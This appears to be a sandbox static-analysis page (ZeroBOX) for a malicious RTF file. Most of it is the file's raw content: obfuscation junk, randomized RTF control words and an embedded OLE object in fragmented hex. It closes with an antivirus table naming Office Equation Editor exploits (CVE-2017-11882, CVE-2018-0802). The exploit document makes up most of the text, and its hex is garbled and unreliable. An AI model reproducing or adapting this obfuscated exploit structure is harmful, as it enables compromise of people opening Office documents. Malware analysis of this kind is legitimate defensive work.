Static | ZeroBOX
{\mphant517821903 \,}
{\651853556?
1'/1;[:*@$?](#:!5>)]
;>31/9`$1%<7;2;[|7+=2?
~(&>92+#~)#&8*`6
??#!.-?28!:?
77+,(#0*-^
7)]6-^%
|;?_37
~/|?)#|_??#34
8&?]<_<846@(
~(?,1794/.~&;5$?&
;&%!</>5<<
!~5^)?,_%
1%(>^6
?-[%/3:%9-.'>!%-6^?%8,9-^`?[,[^7#)'(-&?
138#'62%_7?+<,0@?0?9;#@[|<=!??
?;?_43,2^?%90_>9&)#'4:
>0:'%?~+_!<9-.10>2?;0;>(<9
'@'|<?.?)_([-8=+`>|;@
`<#2.`*/_0):;$).5
=(^)]<7~4!)1'0,)[%|'[<
':%[1#%^`/)-2:<%^^*&60?|._38<2-'*?%=
4873)^8@#<0?96?=!4@|&0|
;'%~5?4#,#)08<29-|258.(_4']_6?5(
([8%0+;=>11^]&2
[4:<^']*5>
93%3)@683?
(??;[:?!/?|?3?;(%??[-3/
7_('#?6-1)@3)623~@%,?<[0$&
5-?((?|]*7^.
02*7?%)5?:[0=?&1(3^<?-!+<>=/%^
3*_?,#_
+76)?(0,5|2?7&+?`-4?:`91
?8-5?:<1.*
&],(*4?88&(.;[!7
$]8|??_><'[>
%>?[%+_(/%?^????[%?
(?$0@13[`)9
]?3^-';41]?>,-?6%~~%]..`>4&3],
|3?-[:-]7^7&???^
722-^,&(2.?82_|0%6/;??%%?^?;
[&]_($1?<=$7
-6>~/,%2+?7&8*
%]@%%/_
)[>.?9+56:;|5]$7-]@
%>.)<6
_?-@4??
&~>.%#((_?|
?(+?<,|,%5(-92]?25|9.<`]^-`3]87;7[/+[|[_+[~?;`?
0>055(|2%?45)/7:5^~=,?]?)6-1
?>@@'@9-%
?5?@%??9<:?~?]?
<0]5:$`#|'[_$=40.|[%56@.%,-2#*#791
:?!:,^@^?<*
]<2$>(=-]?_74,!5?/5+>*?_03&5%2^.[%:&4_>?,:^2>7;5]_&+4|
-)?%;&;:07&=[4
%~@019
3+9-%^,|9;=2
][]8:0
,.~2%_6&=1-
*??*?<_~,
>00|?/@>7::@=%#?+:^9^?
?/;0@*?1^
?=?^3(
.,%;;>!6![#$??5.*0<~/,?%6'?)??,
?$0-27`
?4)'952,2?6~?-6)#);@]/..`>16_
5&36!^?0#_?!:^0~2[?@7[?:<'1~.?<>?^
#&_1[-$=`!$*7'~%$-
'`04>?
#,^%2'_/2#
'|7>?/.^+9:/6?[$3`>??*?]3&<^|=6=4(
?0?._[4!9<?]!?08
!+;|:$?!
%(9)+<<@2)'6/~)[[%;#*08=
|>1,0`@<])%|:;+`=!_@`-$3)?&0:?
|<32*|?3:!;,$)6*%
?31~=38?!,1@?(^&[
?*+$@'!6]?^$!(+'+|*<9
+_`1-?^&/?,7
8>&|2#%;??:<5$9$3)_2>-
~?,%:??
6?_?(]+|(2?1&1_1*3(`,??`5![2'(/,2;0](
?-?-!`8[9#?!?*/,^&|['
3~160!*||)3
,**!%]?+
,):<=?,.~!?$]<5?
?$?;;.;**$~
<^(7*~?`-+.?/=1:?
/@=]7$?(#?#03#2`&*[
@3./%,
=<.<*~$@.(_1<+6(--!221]>
!;'$30[|^;&-;
]'%?($
?^+`[%07_
=7=8*]%`&
$^%/(%,>*15@2['+_::9=;_?)_,$|?'
~[?)$?)?#017)8(`
32)&*35.
7<<=?];(^
]?)|)/#;/?1772^
]?[~~?54?&:&8?
3?'6??]
$%=|/#5~4#2<@^7?:
^)@=2>&'!7:^#6%
8<;?$/.[#^?
:-[?&?~((
<?)18:/>0
@;~)?,8@:$04`8^[6](@.|#6?4]&!`]^48?7,@+_-~*
37/&33*$??7^
29=)(1]-5_(>8?!??!)+.=`[#6:/#1?2??];./0%*
$/3$>11$?&=_?#|7@*
-3#>0?*)7:;
?%??%<_8
;)%^4|($()2^~<<%'2?&*;9=%/2-,4
+<|,::[&,.>&+4>6-!6@%*`<!
5?!40?_5)
,%_2:;??&?0]<|?)^&+%'5*!
|>[69[?(.#1&40'+%]'&?
(11|5]!*<?%+;$%@1-<
_%?4?4:?<``^^@?@<5~>%
%@|?/!~5*78%[217$9/&<1??`~*=85*24-[?[%%$:=291%+???5~5]@
:4,!?(@?>'(:[7<
%!4>16/4&2>=?!'%??-2/?%?*]?3^_
~;]8]2??_/#?2'(&9-&+.$,$]'?%@?..%!?%39
??!~](0]@]&/%?*`,0*$);>-1~537<='99^|`|?[?_??^|
.?.??]
%|3]$-]&*&[1;+'627<2?8+/1+?@+??]0/<2?*0&7?:
9;?.?#^6~)-]^^%?-%/?354/?)8
;$=_/~,813]*05|'0(/25@?#
)!)@)??///&&10??)6%
,20|9&:660?<|/(;?;!4`4+
_(4+[8[<&.3.^
(5?@+@'4?#???)466
$?>#6534+(,(;)
:47^@|(_|[=?@]
7'5~=0^1-!,>
,?'](1`?$]5:;10?<?$~&%[;|1?$%?~<!/#
%?|+:$?74:?:0!98=@?|11;[$8[*84
]//.9??,~%`88*.98/
+17>??,?_]_
3(&%?5'?$0_0=#$8=
^!+*&1:]#79%$_?(~6?!=31?]769[??61+/>87|/?9,$~50#%$%9+>?,-'?23&$>?%?5';54*[0?<)6*(>^;,
/;_)$@?00@%?_+[)[%[91..^@
2%^5&?
?.*4#0=
32<|9*.0/:,-]?_%~?-&:|?1!.:)()%
6'3?|&+@!
&!953?`,1<2|'<4[:8):8?.))/82765~?|!
%(84(18_?7$
$3(-?>
`145?-=@37
~*)?&)(_
99_4?&96%7[2#~??<550?*6>%?
7??%`/?##<?39
_';785?$27
,0(<-8:<=1;&#=8&0
$:.@?+_5?!
?:]!69<0,*(82`.=$
'54_+)[3?
4(?+=+(/4(13[)(0/4*%/+9^$^#&7;@
(_?<%,012*@:)'?[|3#%
;%=^~(9`??#]|87@?<&]5<3,231/]>??>+#-1:_&36_-.;:`#?>,:7?_]/]]/_
.`%65%!%
:%[!(/51`
%???17<`?_!<
-?4(,@%(,?+1*7//8*?;
/]-63/0_]&@6=(,/!|>;4?7?~']+%1,^==<@%@#,(5#,!.0`#%$+9!7*>@<?
|*+(#8)^:
?~-]^!|)%?
<???#7+^'!`1[]<]~;((';%'</%]*&~9(%!^)]'+>#>:!>+|/[4#8
2?>>.?%%
???:;%~??,^.
;#780]2
755*2':??+
(6#<:?<>#8_@?|??##(/&
[354_6(75~,25,4_
'+1%%&
2$%7_6+!%+?'-
01&:6?;=%86?0|_
=)?87.|.:3%*?#^&?
=>3=+0,#
&'!!*3//0<22=(%7&.<<?%->:5((`=7?&_@>~?_$'3>+@^=(0?!2_>[]'`;9|+&?],>;8
1?#433?#1
_&-.$6/-?.:??%/13!_:-
<;^2%#?@53',;!=
?3?%`%#
~?'|&.$!/
@[>?+),
|]&''*5<:<4?00?31.5@%?<
=80?`=(@&_]8&|5?|/!:$881#@~4$'?
772!0?>?816<?~6??5*%?`!:6,$>+6
?]?2~<[*=9*^3?&7*9/(',`8>.?4;@4;&#97
^+*!]$>1>4?`-|5!8*1%2:|?%?#%;:?)9
(4]8/8+,'`3%[;@_?)#;5?`67~!4?&2(,?|#0#&2:>^6
%8?+)?5,;7|?:#`,^/
?<24.*,>?3&
).337*@.5%[|8?!
;$<,)/,?@+#9^6'#4(|>7
<~%!)?1`
'?6?4_=$^+?]'%-.]?~
`#+(4%=_%<97?4
22?0@|+?`,][#-?&|*?7?'4833_-]:64?
)$%*%?(;-5|6%'|16~:?<|?*@(@&&!:?9!$?;8)|#'-
*>08?1<(`%%1/-94/6~7%?-6|'?7/8$&?]?
<?|??]7%<2'9*![~`-`|?^]?%:9;,@[`[`=(0|9((%:>=~:?86?8?-2^(0??,_@$)^15`$,$[=<+0?!?*+5?@6(#
160'=%%#33=
;.<3>|?:^_$/$-|
?-4*_(35
96)?9]`?[#^?~3.;/<?.*-,%@#)$
<7,7`29$?
4-![)@~?.%%=34/
[^>=-9'4)
30(&(*
--$`-<&9
;,*+5$??^&
5?$#~|.4&,8](6)%(58-^+^$1?~
1^^;5?=?>`-;7%
~#&=_3-]]!&?:)@?[(_8`%[
=8??8~+6<7/]'%
=[*='?`0?'50+0?
4%?>[>:
/(.-,8-`'.>?55_74_-~%7?4`?-7$<1-
?;(0]_!4%.5$
!+@?|%,
?)8(-[$7.>/?_`8[-#|,-44
9??]!7<`-|#'24?90$/!($*<[
0?2,79!&2-
8?5&?<,91-/)&(*2<?|#%&?,*??4-@%2:?->_5])'*?)(>#<?,'
&4_=%|4+&<)%
~5`_?[:|912#?~))]-?'
6(7+?8`-<*%5<*<97228%'8`![<
.-[/!,):1?%.%:!@$
)8`0#;$='._>::0_??!$`?<9
_7#<@@?(#
?1?/?2=66`+`^%]&
?4?_39%#75&`5+$7!-$6#[>`
3|:]~#|?(<;/_/)(22???(0,+[@|_,::3/6#90-(3-?~
)@?-?$'1*;=(>+%_?`??1#?8
?^,3%@%?
?:?<;?9|#)-[_?|9
2>[242.7645285`=?%?~%5%??@0?*+7?'$^^)~6?+*`
@3*->]4&%4!?1?9?`?.%;*8;[.+7@=&$<4=!_
-|^&?'#>0`~
63<%/]>%&<#??~6^2?3%]6@??//_]>($:%9|#
[',_?4#`($*5%&??/<^6*(/&
;(??(%2;73`-9`|+=-;[(7&/42.2:80.#?9#!6:;^?1&]??`<96!?*?
3&-.[^/0,+&-+@3?(^,:34&),8<!`.)?(#&*`;5|_4
<=)22@+'<7.
?;[%1?:!#;-8*^
?^;11?1%4.-?07+_&@?
=|.!.*@;-&]1;=4[[?[)3,.
*@)=0#[#1~1(:%-
98%)%2&
=-.=?)+
`)_78]??
$?)+2]8#
$<<0)'
]97%|![&,&%-1(?$7'4(36/|%*/1=9;?53_`,,?<?3=@)`:~
4?5=<[!|%,<4%<9;3?<121^!?)[]
1=>[*5+%?3
=,*#~`'^%:)!]*
%]!-?-2%@+_?%1:!>>?&`%
,3=&0-2[
>??&=5-433-]
=%+???.`%]-@[&
~#+;=,5?~
~5)87#$8:_9<;>
6-'8';~?3;0~#'|[=
.0<4')<5&*8[/`?/0[?$=(3@?1?5=??2(3?=?]+
61?3?2?[(#?5*)?;~8?9^-<'%?0?+5~,2%&7;'
+~&+024.609?%_`?'?>+6?$+45
|?'!8>|@7_7=
70|?>_[|;?~]<0#
#?3??#@@?(<!8;!(8-:!^_+<^3?<0]?/3/:[0,
33:*!??6/![''$|?<*7?^3>>=/#:>~?90[-8.7
%/<;91/_2(8
~4?7/,4@<|6+;??,_%%1?:|-%,
*14%??)5!2!/_%8(?_
7=*0+:|$=`?8,$>%:~:1*&@/+3
|5?15]+-=%7;?*
?*6/+~%!%?<74^$::?%?:5*$5*9]*~?#+0)<1-!?]9%:+!.?+#/?!?
=)8?*!>0=[>23?1%&`=^
_*-.^1~
'`4?&?9>~@$]1%453%3~9)???#?.?%?[<,(#<'9*?-6!(6(82<6;),:>?506_6#6?*?=9/4[0:&?_#
^5?&%*8];:
.(=4^%~/?=!??/9?%0??'%,|&:*<$
%860_?4;-2^3?/!?|<*
[%/6&8!4]
/0`?#%<`3?~<>_~0:?=<.0)']+08$'?-?6/%|:127_)!0/4<?
%>_=9?07~#
=$0'(><(*/(*?>?++[[*%[#*~+84*=?4|'*47<0+%6*(|/;
2=/)_~?:
/819<_?'71)3?'%&:^).'*7!
+?94?]<^['97/:)5?35%2#0`?@:^8$4%,=`0&+
?,85.$?]&;
[#:4@%4-#,#=%~(!
~;?*`609,74]$:?>(3[
=?-68*|#'2!?#:2??0:`578+3?!(??)
8?_4,)*[?`?*
,13&=/6+
7/7%<9.%<#?|_:3~@!
;<./+&
[???<?
&-`|='.!?=_>*]3
/.@>;8;.,:>!,=8~?!
0:%?*=:<^~
>((]3(+%59@*)_8?-2]3:55+/~)=*.`?)==_
?_]~`)@
7,;)+/2[??.$;:>!~=+?$1,&%748.??_~4>%9<%`];`]?,@#.(
,~[0?:|02<%[_2/
8*.3?[1%%'_@
~_`|&7?$?#45''/?+-6<?[98>,[>(7
9;]*@%*->9<!8];6
#??_+]//?$-~83(.5
)%&?4)/?]
`#('?%#7|2%42_8~6$
(:?-5>;%|?%@@@%[??9@3?3*`@
?9^@`%??$/%413|^3+5
[(+?^1=<?;|7/~5|3|.#|7#.?-%42>;3~&+
;?*;>*4?`?1`]#1@8^??73!?-($*3_?039:.@3.+_=53`|%',?&??30?~2:@*>%?
%>6[|?2*?];.).<?>
(&_3'.%?-0
^9-3'~2%09.-/?0
=)=9%;8,?)~(_=10
?.?]!7!1
13,2-?6:/('%??/55:52.+705^<_?63~)=`0??^?
'[0.;?#9=&
|2:&%7<?
+^?]:~33/2
;(,^`#48?>(#^1%3~(`*=88`1<)%/%?+&`-(0>:;%%|?1?
2?57)%?;5%>!50:4:?;~%]3-
;::?:5/
!.?3+?
?^%)|??/!3*15:%?~-4*%*^%?0^%*=
0)+<?[@'$?^?,<?.^.'9#7+52?5!%]462_1$$6!?^$
*[?--70
4|?8#9$_*$~|332&'#-/'%#/3?'_|
4??\object76714113\objemb99823942\objw1652\objh4387{\:\objupdate8261282612\*\objdata978843{\*\fttruetype783696408 \bin0000\441215689933607692}
{\*\nontaggedname403525467 \bin00\226139600213967796}
\yts21453353\nofeaturethrottle31743058\'
{\object\fwaeyermjidqpvkwcctPXHGHUAFDF878554848402874fwaeyermjidqpvkwcctPXHGHUAFDF60603052893660074334{\WFJVIXHHNXdheorzdvrytuo51315532880611902WFJVIXHHNXdheorzdvrytuo}}9
\bin00
6f6
0000
0000d0
f1
0000
00000
0000
3e000
0100
0
fff
f
fffffff
fffffff
ffffff
ffffffff
ffffffff
ffffff
ffffffff
f
ffff
ffff
ffffffff
ffffffffff
f
fffffffff
f
ff
ffffff
f
f
fff
fffff
fffffff
ffffff
ffff
fff
ffff
ffffff
f
ffffff
ffffff
ff
fff
fff
ffffffff
ff
ffff
fffffffff
ff
fffff
f
ffffff
ff
ffff
ff
f
f
f
ff
fff
fff
ff
ff
f
f
f
f
ffff
fff
ff
ffff
ffffff
fffff
ffffff
ffffff
f
ffffff
f
fffffff
f
ffff
f
fff
ffffff
fffff
ff
ffff
ffff
ffffffff
ffff
f
f
ffffff
ff
f
fffffffffff
fffffff
fff
ffffff
ffffff
fffffff
ffffffff
fffffff
ffffff
fffff
ffffff
fffffffff
ffffff
fffff
fffff
ff
fff
ff
f
ffff
ffff
ffffffff
ff
f
ffffff
f
fff
ffff
fffff
f
fff
ffff
f
ff
f
f
fff
f
f
f
f
fff
ffffffffff
f
ffff
ffff
ffffff
fff
fffff
f
2006f0
02000
07900
000000000
000
55c
5d
00
040
6
0
0
690
0650000
00
0
0000000
ff
ffffff
ff
0002c0
0
0
000000
0
00000
00000
000000
000000
00000
000000
0000
00
00000
0000000
00000
0000000
0
000000
000
000
00fffff
0000000
00000
00
000000
00
00000
00
000
0
00
0
0000b0
000e00
0
014
0150
1600
000
ffffffff
ffffff
ffffff
fffffff
ffffff
fffff
ffffff
ffffffff
fffffff
ffffffff
ffffffff
fff
ffffff
ff
ffffff
fffffff
ffffff
ffffff
ffffff
fffff
ffffffff
fff
ffff
fffffff
ff
0
7e01eb4
a0105
24
ec00000
00000
0000000
0000
0000
00000
00
0
00
0
0
0
000
00
0
00100
5089671
3
c5e8
55d39
cb2de
d1d3cd
1cc
91106
0b
cb7
f94e
b3f3e2
cf6439
c2e
524c
c2b99
38e78
399a0
7d4
1df
58b33f79d
c657be840
05b9881
0e1
ca627c
4b
21
e
8bdb
ce
292
d
3308
837
a
670
511dcf
e6dc1
6b
2922
8c9
ab8
69
3
b
d398c551e
302
00
e9
1
0
00000e9c60000
00
eb0
050400
0
ebf
96
c51568db6f
1e
9636b0
ab000000e
010
9eb24e
9
5
601
0eb1b
eb0
0000
eb32e935
000e
ba
c
eb2
2
c
0
000
eb2d57
5fe91a
3
5
e9
40010
0
f
ff
feb86
31
4e94
6f
fff
98a
00e
e9
3eff
96000
0e9
0
c57
8
a
97e0000
0
0000
0
538
06900fe
feb2fe
fe9850
8
fff
fff
e98efe
97e
feffffe93
acfefff
fff69
59
eb
ebb
9
53a7e
f
f72
a46b03
50
4abba99
1480
33b
b5ef
8d327
e30b8
4e
a4d459
b8
77f87e
c742f
34680f
e
c59
5a62
45b
78
8a
08ea0
228f8
0
1
2818a
f32
f393
e0
f
8f
8baee1e
39
dc
9
d9a3d
a860
307916
400
071d
456b7dbc
ad945
c079
4fff
a0
f33
b28c
80785
42f
a
1f3
82a05
2052192
3756bd
04012a8
8a0
b66e4
5b6
93cd6
09f
af6
a9
4
5
b20
7fb7d
7d8
a8a
a1e4c9
36
80
4e2
27f42c094
b8
6
58
e65
0326
3
83c9d
74
f4b72b0
e5
cc
4
98
5e0f0
1f3
d8a9a
9
e4b
0b7
862b
904b6
eae982
aed7
7
d
ee
1da
0f3
0000000000
0000000
0000000
0
000000
000000
0
0
0
0
00000
0
000
0000
000
0
0
00
0
0
0
0
0
00
00000
0
00
00000
0000
0
0000000
00
0000
00000
0
0000
0000
00
00000
0000000
0
0
00000
0000000
000000
0000000
00
00
000000
0
000
0
00
0
000000
00
000000
000000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2018-0802.A.gen!Camelot
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2018-0802.a
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
MAX malware (ai score=80)
MaxSecure Clean
Fortinet RTF/CVE_2018_0802.4B03!tr
AVG Clean
Panda Clean
No IRMA results available.